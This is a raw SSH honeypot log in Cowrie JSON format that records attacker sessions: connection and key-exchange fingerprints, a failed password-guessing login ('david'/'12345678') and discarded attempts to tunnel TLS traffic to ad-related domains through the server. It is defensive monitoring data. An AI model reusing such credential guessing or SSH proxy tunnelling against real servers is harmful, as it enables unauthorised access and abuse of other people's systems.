{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x038m\\xf4\\x80\\xe9\\xa9\\xf34\\xc2r\\xfc--E6cMLzr\\xb271\\xc2\\xee\\xad\\xb3cI\\x91O\\xa1 \\x99\\xf9\\x1b;:\\xff\\xd3F3>\\xf6`@\\xd3.\\xcf#z\\x9c\\x19\\xf2\\x9ds\\x17\\x935$kZ\\xfc\\xdf\\x14\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc8\\xf3i1u\\xcc\\x9fC\\x03\\xe5a\\x1daL\\xc6\\x0bB\\x92\\xe9\\xc9\\x8fj\\xbb\\x02o\\x02\\xc98\\x92\\x84tM\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x038m\\xf4\\x80\\xe9\\xa9\\xf34\\xc2r\\xfc--E6cMLzr\\xb271\\xc2\\xee\\xad\\xb3cI\\x91O\\xa1 \\x99\\xf9\\x1b;:\\xff\\xd3F3>\\xf6`@\\xd3.\\xcf#z\\x9c\\x19\\xf2\\x9ds\\x17\\x935$kZ\\xfc\\xdf\\x14\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc8\\xf3i1u\\xcc\\x9fC\\x03\\xe5a\\x1daL\\xc6\\x0bB\\x92\\xe9\\xc9\\x8fj\\xbb\\x02o\\x02\\xc98\\x92\\x84tM\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:52.358978Z","src_ip":"23.148.145.132","session":"7e2fbf91544a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:52.367187Z","src_ip":"113.164.152.20","session":"0488d1163398","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.60.242.169","src_port":33934,"dst_ip":"159.203.135.109","dst_port":22,"session":"d416be5d64cd","protocol":"ssh","message":"New connection: 103.60.242.169:33934 (159.203.135.109:22) [session: d416be5d64cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:55.049841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:55.053975Z","src_ip":"103.60.242.169","session":"d416be5d64cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:55.305759Z","src_ip":"103.60.242.169","session":"d416be5d64cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:55.775269Z","src_ip":"23.148.145.132","session":"7e2fbf91544a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"12345678","message":"login attempt [david/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:56.350654Z","src_ip":"103.60.242.169","session":"d416be5d64cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:57.607118Z","src_ip":"103.60.242.169","session":"d416be5d64cd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"158.69.55.161","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 158.69.55.161:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:58.161517Z","session":"34b2114e0f23","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"158.69.55.161","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 158.69.55.161:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:58.199160Z","src_ip":"63.141.242.2","session":"34b2114e0f23","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"158.69.55.161","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc9i\\xd5Que\\xf8il\\x12\\xb3&*\\xbc6-i\\x9b\\xb5\\xf9\\xe2\\x1d\\xb1\\xd0\\xa4\\x05\\xde\\xed\\x1b\\xf9\\xcc\\x90 \\x0e\\x8a\\x90\\xbc\\x1d\\x9d\\xc0NQ\\xa5\\x80\\xefW\\x03~0\\xcd\\x06\\xa87\\xf1\\xf2\\xd4O\\xffJtI'\\xb2>\\xe0\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x18\\x00\\x16\\x00\\x00\\x13ad.twinrdengine.com\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xef\\x95'k\\x8d\\x9c\\xdf\\x917}\\x0b\\xa8Q\\x0c\\xcc\\x8c\\xe6\\x80\\x07n\\xdd%\\xdd\\xa3\\x81\\xd7\\xfal\\xa6\\xe03D\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 158.69.55.161:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc9i\\xd5Que\\xf8il\\x12\\xb3&*\\xbc6-i\\x9b\\xb5\\xf9\\xe2\\x1d\\xb1\\xd0\\xa4\\x05\\xde\\xed\\x1b\\xf9\\xcc\\x90 \\x0e\\x8a\\x90\\xbc\\x1d\\x9d\\xc0NQ\\xa5\\x80\\xefW\\x03~0\\xcd\\x06\\xa87\\xf1\\xf2\\xd4O\\xffJtI'\\xb2>\\xe0\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x18\\x00\\x16\\x00\\x00\\x13ad.twinrdengine.com\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xef\\x95'k\\x8d\\x9c\\xdf\\x917}\\x0b\\xa8Q\\x0c\\xcc\\x8c\\xe6\\x80\\x07n\\xdd%\\xdd\\xa3\\x81\\xd7\\xfal\\xa6\\xe03D\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:58.202632Z","src_ip":"63.141.242.2","session":"34b2114e0f23","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"158.69.55.161","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 158.69.55.161:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:58.243659Z","session":"34b2114e0f23","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:58.256185Z","session":"34b2114e0f23","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"158.69.55.161","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 158.69.55.161:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:58.278320Z","src_ip":"63.141.242.2","session":"34b2114e0f23","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"158.69.55.161","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb0\\xa5\\xf0\\xb6\\x90\\n\\x82V\\xb6 \\xe1XY\\xe8\\t\\x08\\xafT\\xdc\\xae\\xff7\\xdai\\x1b\\xffk\\x86\\x9fqe- \\x1f\\xa8V?\\x04\\x86s\\x8aw\\x8f`\\xd7E\\xaf\\xaa\\xc5\\xdf\\x9dP\\xb9\\x83_\\xe6\\xd4\\xbc\\xfb\\x7f\\xfa\\xf2- u\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x18\\x00\\x16\\x00\\x00\\x13ad.twinrdengine.com\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 ab\\xe7\\x96\\x1d\\xf1<\\xea\\x85\\xa6L`T\\x89\\x15N+\\x13S\\xe04\\x91\\x9c6\\xbc\\xfe\\xd9c-\\x01%v\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc5\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 158.69.55.161:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb0\\xa5\\xf0\\xb6\\x90\\n\\x82V\\xb6 \\xe1XY\\xe8\\t\\x08\\xafT\\xdc\\xae\\xff7\\xdai\\x1b\\xffk\\x86\\x9fqe- \\x1f\\xa8V?\\x04\\x86s\\x8aw\\x8f`\\xd7E\\xaf\\xaa\\xc5\\xdf\\x9dP\\xb9\\x83_\\xe6\\xd4\\xbc\\xfb\\x7f\\xfa\\xf2- u\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x18\\x00\\x16\\x00\\x00\\x13ad.twinrdengine.com\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 ab\\xe7\\x96\\x1d\\xf1<\\xea\\x85\\xa6L`T\\x89\\x15N+\\x13S\\xe04\\x91\\x9c6\\xbc\\xfe\\xd9c-\\x01%v\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc5\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:58.281921Z","src_ip":"63.141.242.2","session":"34b2114e0f23","protocol":"ssh"}
